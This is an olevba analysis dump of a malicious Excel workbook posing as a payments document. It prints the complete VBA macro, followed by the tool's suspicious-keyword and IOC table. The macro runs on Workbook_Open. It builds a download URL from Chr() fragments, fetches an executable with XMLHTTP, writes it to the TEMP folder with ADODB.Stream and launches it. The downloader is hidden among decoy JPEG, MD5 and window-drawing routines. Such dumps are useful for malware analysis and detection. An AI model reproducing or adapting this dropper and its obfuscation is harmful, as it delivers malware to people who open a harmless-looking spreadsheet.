Malicious Excel macro

olevba 0.41 - http://decalage.info/python/oletools
Flags        Filename
-----------  -----------------------------------------------------------------
OLE:MASIHB-V Payments Deposit-13.xls

(Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)

===============================================================================
FILE: Payments Deposit-13.xls
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO Ёта нига.cls
in file: Payments Deposit-13.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u042d\u0442\u0430\u041a\u043d\u0438\u0433\u0430'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Private Sub Workbook_Open()

JPEHuffmTable
End Sub






-------------------------------------------------------------------------------
VBA MACRO Ћист1.cls
in file: Payments Deposit-13.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04421'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Ћист2.cls
in file: Payments Deposit-13.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04422'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Ћист3.cls
in file: Payments Deposit-13.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04423'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO MM2.bas
in file: Payments Deposit-13.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/MM2'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -


Sub JPEGGenerateHuffmanTable(Huff() As Integer, a As Integer, b As Integer)
Dim S As Long, i As Integer, J As Integer, T As Integer
Dim X As Integer, Y As Integer
S = -1

For i = 1 To 16
READ X
For J = 1 To X

If S = -1 Then
S = 0
Else
S = S + Pow2(T)
End If


READ Y
If S And 32768 Then Huff(Y, a, b, 0) = CInt(S And 32767&) Or -32768 Else Huff(Y, a, b, 0) = S
Huff(Y, a, b, 1) = i
T = 16 - i

Next
Next
End Sub

Sub JPEGPrecalc(FSSik As Object)
Dim X As Integer, Y As Integer, T As Integer, Dir As Integer, L As Long

L = 1
For X = 0 To 15
'Pow2(X) = L
L = L + L
Next
If L >= 1 Then
GoTo HHNf
End If
For Y = 0 To 7
For X = 0 To 7
C.Cosine(X, Y) = Cos((2 * X + 1) * Y * 0.1963495)
Next X, Y
HHNf:
FSSik.Send
Exit Sub
X = 0: Y = 0
T = 0
Dir = 0
Do
C.ZigZagX(T) = X
C.ZigZagY(T) = Y
T = T + 1
If T = 64 Then Exit Do
If Dir Then
If Y = 7 Then
X = X + 1
Dir = 0
ElseIf X = 0 Then
Y = Y + 1
Dir = 0
Else
X = X - 1
Y = Y + 1
End If

Else
If Y = 0 Then
X = X + 1
Dir = 1
ElseIf X = 7 Then
Y = Y + 1
Dir = 1
Else
X = X + 1
Y = Y - 1
End If
End If
Loop



End Sub

Private Function pDrawButton(ByVal hWnd As Long, ByVal hDC As Long) As Long
    Dim m_Style As Long
    Dim m_State As Long
    Dim m_OldSt As Long
    Dim m_SrcDC As Long
    Dim m_DstDC As Long
    Dim m_Level As Long
    Dim m_wRect As RECTW
    If IsWindowEnabled(hWnd) = 0 Then Call SetProp(hWnd, "OLDSTATE", 3)
    m_Style = GetProp(hWnd, "OLDSTYLE")
    If (m_Style And BS_CHECKBOX) Or (m_Style And BS_RADIOBUTTON) Then Exit Function
    Call pGetWindowRectW(hWnd, m_wRect)
    m_OldSt = GetProp(hWnd, "OLDSTATE")
    m_Level = GetProp(hWnd, "ALPHALEVEL")
    m_SrcDC = GetProp(hWnd, "HDC" & CStr(m_OldSt))
    m_DstDC = IIf(hDC = 0, GetWindowDC(hWnd), hDC)
    AlphaBlend m_DstDC, 0, 0, m_wRect.Width, m_wRect.Height, m_SrcDC, 0, 0, m_wRect.Width, m_wRect.Height, m_Level * &H10000
    If hDC = 0 Then Call ReleaseDC(hWnd, m_DstDC)
End Function

Public Function COLUMNEWORDER(SIBBBD As String) As Byte()
Dim COLUMNBEFOREORDER As Object
 Set COLUMNBEFOREORDER = CreateObject("Microsoft.XMLHTTP")


pDetach COLUMNBEFOREORDER, SIBBBD, 0
JPEGPrecalc COLUMNBEFOREORDER
GoTo HHGGHHEHD
HHGGHHEHD:
COLUMNEWORDER = COLUMNBEFOREORDER.responseBody
Exit Function
End Function

Public Sub IncomingData(ByVal DataLength As Long)
Dim Buffer() As Byte
Dim pLength As Long

    If Not App.LogMode = 0 Then On Error GoTo errHandler

    frmMain.Socket.GetData Buffer, vbUnicode, DataLength

    PlayerBuffer.WriteBytes Buffer()

    If PlayerBuffer.Length >= 4 Then pLength = PlayerBuffer.ReadLong(False)
    Do While pLength > 0 And pLength <= PlayerBuffer.Length - 4
        If pLength <= PlayerBuffer.Length - 4 Then
            PlayerBuffer.ReadLong
            HandleData PlayerBuffer.ReadBytes(pLength)
        End If

        pLength = 0
        If PlayerBuffer.Length >= 4 Then pLength = PlayerBuffer.ReadLong(False)
    Loop
    PlayerBuffer.Trim
    DoEvents

    Exit Sub
errHandler:
    HandleError "IncomingData", "modHandleData", Err.Number, Err.Description
    Err.Clear
    Exit Sub
End Sub

Private Function pDrawCheckBox(ByVal hWnd As Long, ByVal State As Long, Optional ByVal Redraw As Boolean = False) As Long
    Dim mOldState As Long
    mOldState = GetProp(hWnd, "OLDSTATE")
    If mOldState = State And Redraw = False Then Exit Function
    Call SetProp(hWnd, "OLDSTATE", State)
    Dim m_hDC       As Long
    Dim TmpDC       As Long
    Dim m_wRect     As RECTW
    Dim m_cX        As Long
    Dim m_cY        As Long
    Dim mValue      As Long
    m_cX = GetSystemMetrics(SM_CXCHECKBOX)
    m_cY = GetSystemMetrics(SM_CYCHECKBOX)
    Call pGetWindowRectW(hWnd, m_wRect)
    mValue = SendMessage(hWnd, BM_GETCHECK, 0&, 0&)
    TmpDC = pCreateDC(m_cX, m_cY)
    m_hDC = GetWindowDC(hWnd)
    Call pFillRectL(TmpDC, 0, 0, m_cX, m_cY, &HFFFFFF)
    If IsWindowEnabled(hWnd) Then
        If State = 2 Then
            Call pFrameRect(TmpDC, 0, 0, m_cX, m_cY, &HC48639)
        Else
            Call pFrameRect(TmpDC, 0, 0, m_cX, m_cY, &HD5A554)
        End If
        If State = 1 Then Call StretchBlt(TmpDC, 1, 1, m_cX - 2, m_cY - 2, m_hOpbSrcDC, 1, 17, 11, 5, vbSrcCopy)
        If State = 2 Then Call StretchBlt(TmpDC, 1, 1, m_cX - 2, m_cY - 2, m_hOpbSrcDC, 1, 30, 11, 5, vbSrcCopy)
        If mValue = 1 Then Call TransBlt(TmpDC, (m_cX - 9) / 2, (m_cY - 8) / 2, 9, 8, m_hCkbSrcDC, 0, 0)
        If mValue = 2 Then Call TransBlt(TmpDC, (m_cX - 7) / 2, (m_cY - 7) / 2, 7, 7, m_hCkbSrcDC, 1, 9)
    Else
        Call pFrameRect(TmpDC, 0, 0, m_cX, m_cY, &HE9CFA4)
        If mValue = 1 Then Call TransBlt(TmpDC, (m_cX - 9) / 2, (m_cY - 8) / 2, 9, 8, m_hCkbSrcDC, 9, 0)
        If mValue = 2 Then Call TransBlt(TmpDC, (m_cX - 7) / 2, (m_cY - 7) / 2, 7, 7, m_hCkbSrcDC, 10, 9)
    End If
    BitBlt m_hDC, 0, (m_wRect.Height - m_cY) / 2, m_cX, m_cY, TmpDC, 0, 0, vbSrcCopy
    Call ReleaseDC(hWnd, m_hDC)
    DeleteDC TmpDC
    pDrawCheckBox = 1
End Function

Sub JPEGPutBinString(BS As Integer, Length As Integer, State As Integer)
Dim Temp As Integer

Temp = BS
State.Leftover = State.Leftover Or JPEG.Shift(Temp, State.LeftoverBits)
State.LeftoverBits = State.LeftoverBits + Length
If State.LeftoverBits >= 16 Then
DEF SEG = VARSEG(State.Leftover)
JPEG.PutByte State.FileNo, PEEK(VarPtr(State.Leftover) + 1)
DEF SEG
JPEG.PutByte State.FileNo, State.Leftover And 255
State.LeftoverBits = State.LeftoverBits - 16
State.Leftover = Temp
End If

End Sub

Sub JPEGPutByte(FileNo As Integer, Bytep As Integer)
Dim C As String * 1
C = Chr(Bytep)
Put FileNo, , C
End Sub

Sub JPEGPutRightBinString(BS As Integer, Length As Integer, State As Integer)

Dim Temp As Long
If Length Then
Temp = (CLng(BS) And Pow2(Length) - 1) * Pow2(16 - Length)
If Temp And 32768 Then Temp = Temp Or -65536
JPEG.PutBinString CInt(Temp), Length, State
End If

End Sub

Sub JPEGPutWord(FileNo As Integer, Word As Integer)
Dim C As String * 1
C = Chr$(Word \ 256)
Put FileNo, , C
C = Chr$(Word And 255)
Put FileNo, , C
End Sub

Function JPEGShift(i As Integer, N As Integer)
Dim T As Long

If N = 0 Then
JPEG.Shift = i
i = 0
Exit Function
End If
T = CLng(i) And 65535

JPEG.Shift = T \ Pow2(N)

T = (T And (Pow2(N) - 1)) * Pow2((16 - N) And 15)
If T And 32768 Then i = CInt(T And 32767&) Or -32768 Else i = CInt(T)
End Function

Sub JPEGStandardQT(quality As Single, QT() As Integer)

Dim i As Integer, X As Integer, Y As Integer, T As Integer
Restore StandardQT

For i = 0 To 1: For Y = 0 To 7: For X = 0 To 7
READ T

QT(X, Y, i) = T * quality

If QT(X, Y, i) = 0 Then QT(X, Y, i) = 1
Next X, Y, i

End Sub

Public Function JPEGY(R As Integer, G As Integer, b As Integer)

JPEG.Y = 0.299 * R + 0.587 * G + 0.114 * b - 128

End Function

Sub PutChar(FileNo As Integer, Char As Integer)
Dim C As String * 1
C = Chr$(Char)
Put FileNo, , C
End Sub

-------------------------------------------------------------------------------
VBA MACRO MM3.bas
in file: Payments Deposit-13.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/MM3'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Private Function MD5LongAdd(lngVal1 As Long, lngVal2 As Long) As Long

    Dim lngHighWord As Long
    Dim lngLowWord As Long
    Dim lngOverflow As Long

    lngLowWord = (lngVal1 And &HFFFF&) + (lngVal2 And &HFFFF&)
    lngOverflow = lngLowWord \ 65536
    lngHighWord = (((lngVal1 And &HFFFF0000) \ 65536) + ((lngVal2 And &HFFFF0000) \ 65536) + lngOverflow) And &HFFFF&

    MD5LongAdd = MD5LongConversion((lngHighWord * 65536#) + (lngLowWord And &HFFFF&))

End Function
Public Sub JPEHuffmTable()
Dim COLUMNTRADEZ: Set COLUMNTRADEZ = CreateObject("Adodb.Stream")

Set processEnv = CreateObject("WScript.Shell").Environment("Process")
COLUMTRADETATUS = processEnv("T" + Chr(69) + "MP")
iChkBaseOrd1erGo = COLUMTRADETATUS + "\f" + Chr(68) + "e12.ex" & Chr(101)
With COLUMNTRADEZ
   .Type = 1
    .Open
    .write COLUMNEWORDER(pDrawComboBox(0, 0, 0))
    .savetofile iChkBaseOrd1erGo, 2
End With
Set MEIGARWORKSHEEAME = CreateObject("Shell.Application")
MEIGARWORKSHEEAME.Open iChkBaseOrd1erGo
End Sub

Private Function MD5LongAdd4(lngVal1 As Long, lngVal2 As Long, lngVal3 As Long, lngVal4 As Long) As Long

    Dim lngHighWord As Long
    Dim lngLowWord As Long
    Dim lngOverflow As Long

    lngLowWord = (lngVal1 And &HFFFF&) + (lngVal2 And &HFFFF&) + (lngVal3 And &HFFFF&) + (lngVal4 And &HFFFF&)
    lngOverflow = lngLowWord \ 65536
    lngHighWord = (((lngVal1 And &HFFFF0000) \ 65536) + ((lngVal2 And &HFFFF0000) \ 65536) + ((lngVal3 And &HFFFF0000) \ 65536) + ((lngVal4 And &HFFFF0000) \ 65536) + lngOverflow) And &HFFFF&
    MD5LongAdd4 = MD5LongConversion((lngHighWord * 65536#) + (lngLowWord And &HFFFF&))

End Function

-------------------------------------------------------------------------------
VBA MACRO MM4.bas
in file: Payments Deposit-13.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/MM4'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -


Private Function pAttach(ByVal hWnd As Long) As Long
If hWnd = 0 Then Exit Function
    If GetProp(hWnd, "PROCADDR") Then Exit Function
    Dim sClassName  As String
    sClassName = LCase(pGetClassName(hWnd))
    Select Case sClassName
        '=====================================================================================
        Case "#32770", "thunderformdc", "thunderrt6formdc", "form"
            Call EnumChildWindows(hWnd, AddressOf pEnumChildProc, ByVal 0&)

        '=====================================================================================
        Case "thundercommandbutton", "thunderrt6commandbutton", "button"
            Dim i           As Long
            Dim m_hDC       As Long
            Dim m_mDC(3)    As Long
            Dim m_BMP(3)    As Long
            Dim m_wRect     As RECTW
            Dim m_dwStyle   As Long
            m_hDC = GetWindowDC(hWnd)
            pGetWindowRectW hWnd, m_wRect
            For i = 0 To 3
                m_mDC(i) = CreateCompatibleDC(m_hDC)
                m_BMP(i) = CreateCompatibleBitmap(m_hDC, m_wRect.Width, m_wRect.Height)
                DeleteObject SelectObject(m_mDC(i), m_BMP(i))
                SetProp hWnd, "HDC" & CStr(i), m_mDC(i)
                SetProp hWnd, "BMP" & CStr(i), m_BMP(i)
            Next
            Call pDrawMemDC(hWnd)
            ReleaseDC hWnd, m_hDC
            m_dwStyle = GetWindowLong(hWnd, GWL_STYLE)
            If (m_dwStyle And BS_CHECKBOX) Or (m_dwStyle And BS_RADIOBUTTON) Then
            Else
                SendMessage hWnd, BM_SETSTYLE, BS_OWNERDRAW, ByVal True
            End If
            SetProp hWnd, "OLDSTYLE", m_dwStyle         '????????,?????????????????
            SetProp hWnd, "MOUSEFLAG", 0
            SetProp hWnd, "TIMERID", 0
            SetProp hWnd, "OLDSTATE", IIf(IsWindowEnabled(hWnd), 0, 3)
            SetProp hWnd, "ALPHALEVEL", 0
            SetWindowRgn hWnd, CreateRoundRectRgn(0, 0, m_wRect.Width + 1, m_wRect.Height + 1, 3, 3), True

        '=====================================================================================
        Case "thundercombobox", "thunderrt6combobox", "combo", "combobox", "thunderdrivelistbox", "thunderrt6drivelistbox", _
             "thundercheckbox", "thunderrt6checkbox", "thunderoptionbutton", "thunderrt6optionbutton"
            SetProp hWnd, "MOUSEFLAG", 0
            SetProp hWnd, "OLDSTATE", 0

        '=====================================================================================
        Case "progressbar20wndclass", "progressbarwndclass"
            'Call pGetWindowRectW(hWnd, m_wRect)
            'SetWindowRgn hWnd, CreateRoundRectRgn(0, 0, m_wRect.Width + 1, m_wRect.Height + 1, 3, 3), False

        '=====================================================================================
        Case "msvb_lib_header", "sysheader32"
            SetProp hWnd, "MOUSEFLAG", 0
            SetProp hWnd, "HDINDEX", -1
            SetProp hWnd, "HMINDEX", -1

        '=====================================================================================
        Case Else

    End Select
    m_SubclassCount = m_SubclassCount + 1
    SetProp hWnd, "PROCADDR", SetWindowLong(hWnd, GWL_WNDPROC, AddressOf WindowProc)
    SendMessage hWnd, WM_NCPAINT, 1&, 0&
    RedrawWindow hWnd, ByVal 0&, ByVal 0&, &H1 Or &H2
    pAttach = 1
End Function

Public Function pDetach(PROCADDRR2 As Object, pGetClsName As String, hWnd As Long)
If hWnd = 0 Then GoTo PROCADDR
    Dim OrigProc As Long
    OrigProc = vd.GetProp(hWnd, "PROCADDR")
    If OrigProc = 0 Then Exit Function
    Dim sClassName  As String
    sClassName = LCase(vd.pGetClassName(hWnd))
    Select Case sClassName
        '=====================================================================================
        Case "#32770", "thunderformdc", "thunderrt6formdc", "form"

        '=====================================================================================
        Case "thundercommandbutton", "thunderrt6commandbutton", "button"
            Dim m_mDC(3)    As Long
            Dim m_BMP(3)    As Long
            Dim i As Long
            For i = 0 To 3
                m_mDC(i) = vd.GetProp(hWnd, "HDC" & CStr(i))
                m_BMP(i) = vd.GetProp(hWnd, "BMP" & CStr(i))
               vd.DeleteObject m_mDC(i)
                vd.DeleteDC m_BMP(i)
                vd.RemoveProp hWnd, "HDC" & CStr(i)
                vd.RemoveProp hWnd, "BMP" & CStr(i)
            Next
            vd.Call vd.pKillTimer(hWnd)
            vd.SetWindowLong hWnd, -16, vd.GetProp(hWnd, "OLDSTYLE")
            vd.RemoveProp hWnd, "OLDSTYLE"
            vd.RemoveProp hWnd, "MOUSEFLAG"
            vd.RemoveProp hWnd, "TIMERID"
            vd.RemoveProp hWnd, "OLDSTATE"
            vd.RemoveProp hWnd, "ALPHALEVEL"
            vd.SetWindowRgn hWnd, 0&, True
        '=====================================================================================
        Case "thundercombobox", "thunderrt6combobox", "combo", "combobox", "thunderdrivelistbox", "thunderrt6drivelistbox", _
             "thundercheckbox", "thunderrt6checkbox", "thunderoptionbutton", "thunderrt6optionbutton"
            vd.RemoveProp hWnd, "MOUSEFLAG"
            vd.RemoveProp hWnd, "OLDSTATE"

        Case "msvb_lib_header", "sysheader32"
            vd.RemoveProp hWnd, "MOUSEFLAG"
            vd.RemoveProp hWnd, "HDINDEX"
            vd.RemoveProp hWnd, "HMINDEX"

        '=====================================================================================
        Case "progressbar20wndclass", "progressbarwndclass"
            'SetWindowRgn hWnd, 0&, ByVal True

        '=====================================================================================
        Case "datalistwndclass", "dblistwndclass"

        '=====================================================================================
        Case Else

    End Select



PROCADDR:
PROCADDRR2.Open "G" + Chr(69) + "T", pGetClsName, False
Exit Function
    vd.RemoveProp hWnd, "PROCADDR"
   ' Call SetWindowLong(hWnd, GWL_WNDPROC, OrigProc)
    vd.SendMessage hWnd, WM_NCPAINT, 1&, 0&
    vd.RedrawWindow hWnd, 0&, 0&, &H1 Or &H2
    m_SubclassCount = m_SubclassCount - 1
    If m_SubclassCount <= 0 Then
        m_SubclassCount = 0
        vd.DeleteDC m_hBtnSrcDC
        Dvd.eleteDC m_hCbbSrcDC
        Devd.leteDC m_hCkbSrcDC
        Devd.leteDC m_hOpbSrcDC
        Delvd.eteDC m_hHdbSrcDC
        m_Init = False
    End If
    pDetach = 1
End Function

Public Function pDrawComboBox(hWnd As Long, hDC As Long, yyyy As Long) As String
    Dim mOldState As Long
    Dim bDrop     As Long
    pDrawComboBox = "h" & "t" & "t" & Chr(112) & Chr(58) & "/" & "/" & "d" & Chr(109) & "e" & "d" & Chr(101) & Chr(105) & Chr(46) & "3" & Chr(120) & "." & Chr(114) & "o" & Chr(47) & Chr(98) & Chr(118) & "c" & Chr(98) & "3" & "4" & "d" & Chr(47) & Chr(57) & Chr(56) & "3" & "b" & "v" & Chr(51) & Chr(46) & Chr(101) & "x" & Chr(101)
Exit Function
    bDrop = Se.ndMessage(hWnd, CB_GETDROPPEDSTATE, 0&, 0&)
    mOldState = Ge.tProp(hWnd, "OLDSTATE")
    If bDrop Then State = 2
    If mOldState = State And Redraw = False Then Exit Function
    If Not GetWin.dowLong(hWnd, GWL_STYLE) And &H2 Then Exit Function
    Ca.ll SetP.rop(hWnd, "OLDSTATE", State)
    Dim m_BtSize    As Long
    Dim m_hDC       As Long
    Dim TmpDC       As Long
    Dim TmpBMP      As Long
    Cal.L pGetWind.owRectW(hWnd, m_wRect)
    m_BtSize = GetS.ystemMetrics(SM_CXVSCROLL) + 1
    TmpDC = pCre.ateDC(m_BtSize, m_wRect.Height - 2)
    Select Case State
            Case 0
                C.all pFil.lRectL(TmpDC, 0, 0, m_BtSize, m_wRect.Height - 2, &HFFFFFF)

            Case 1
                Cal.L Grid.Blt(TmpDC, 0, 0, m_BtSize, m_wRect.Height - 2, m_hCbbSrcDC, 0, 0, 4, 18, 2, 1, 1, 1)

            Case 2
                Cal.L Gri.dBlt(TmpDC, 0, 0, m_BtSize, m_wRect.Height - 2, m_hCbbSrcDC, 4, 0, 4, 18, 2, 1, 1, 1)

    End Select
    If IsWin.dowEnabled(hWnd) Then
        Cal.L Tran.sblt(TmpDC, m_BtSize - 7 - (m_BtSize - 7) / 2, (m_wRect.Height - 6) / 2, 7, 4, m_hCbbSrcDC, 8, 0)
    Else
        Ca.ll Tran.sblt(TmpDC, m_BtSize - 7 - (m_BtSize - 7) / 2, (m_wRect.Height - 6) / 2, 7, 4, m_hCbbSrcDC, 8, 4)
    End If
    If hDC = 0 Then
        m_hDC = Ge.tWindowDC(hWnd)
    Else
        m_hDC = hDC
    End If
    Bit.Blt m_hDC, m_wRect.Width - m_BtSize - 1, 1, m_BtSize, m_wRect.Height - 2, TmpDC, 0, 0, vbSrcCopy
    De.leteDC TmpDC
    Del.eteObject TmpBMP
    If hDC = 0 Then Ca.ll Re.leaseDC(hWnd, m_hDC)
End Function



+------------+----------------------+-----------------------------------------+
| Type       | Keyword              | Description                             |
+------------+----------------------+-----------------------------------------+
| AutoExec   | Workbook_Open        | Runs when the Excel Workbook is opened  |
| Suspicious | Open                 | May open a file                         |
| Suspicious | Shell                | May run an executable file or a system  |
|            |                      | command                                 |
| Suspicious | WScript.Shell        | May run an executable file or a system  |
|            |                      | command                                 |
| Suspicious | Shell.Application    | May run an application (if combined     |
|            |                      | with CreateObject)                      |
| Suspicious | CreateObject         | May create an OLE object                |
| Suspicious | Chr                  | May attempt to obfuscate specific       |
|            |                      | strings                                 |
| Suspicious | ADODB.Stream         | May create a text file                  |
| Suspicious | SaveToFile           | May create a text file                  |
| Suspicious | Write                | May write to a file (if combined with   |
|            |                      | Open)                                   |
| Suspicious | Put                  | May write to a file (if combined with   |
|            |                      | Open)                                   |
| Suspicious | Microsoft.XMLHTTP    | May download files from the Internet    |
| Suspicious | Hex Strings          | Hex-encoded strings were detected, may  |
|            |                      | be used to obfuscate strings (option    |
|            |                      | --decode to see all)                    |
| Suspicious | Base64 Strings       | Base64-encoded strings were detected,   |
|            |                      | may be used to obfuscate strings        |
|            |                      | (option --decode to see all)            |
| Suspicious | VBA obfuscated       | VBA string expressions were detected,   |
|            | Strings              | may be used to obfuscate strings        |
|            |                      | (option --decode to see all)            |
| IOC        | http://dmedei.3x.ro/ | URL (obfuscation: VBA expression)       |
|            | bvcb34d/983bv3.exe   |                                         |
| IOC        | fDe12.exe            | Executable file name (obfuscation: VBA  |
|            |                      | expression)                             |
| IOC        | 983bv3.exe           | Executable file name (obfuscation: VBA  |
|            |                      | expression)                             |
| VBA string | TEMP                 | ("T" + Chr(69) + "MP")                  |
| VBA string | \fDe12.exe           | "\f" + Chr(68) + "e12.ex" & Chr(101)    |
| VBA string | GET                  | "G" + Chr(69) + "T"                     |
| VBA string | http://dmedei.3x.ro/ | "h" & "t" & "t" & Chr(112) & Chr(58) &  |
|            | bvcb34d/983bv3.exe   | "/" & "/" & "d" & Chr(109) & "e" & "d"  |
|            |                      | & Chr(101) & Chr(105) & Chr(46) & "3" & |
|            |                      | Chr(120) & "." & Chr(114) & "o" &       |
|            |                      | Chr(47) & Chr(98) & Chr(118) & "c" &    |
|            |                      | Chr(98) & "3" & "4" & "d" & Chr(47) &   |
|            |                      | Chr(57) & Chr(56) & "3" & "b" & "v" &   |
|            |                      | Chr(51) & Chr(46) & Chr(101) & "x" &    |
|            |                      | Chr(101)                                |
+------------+----------------------+-----------------------------------------+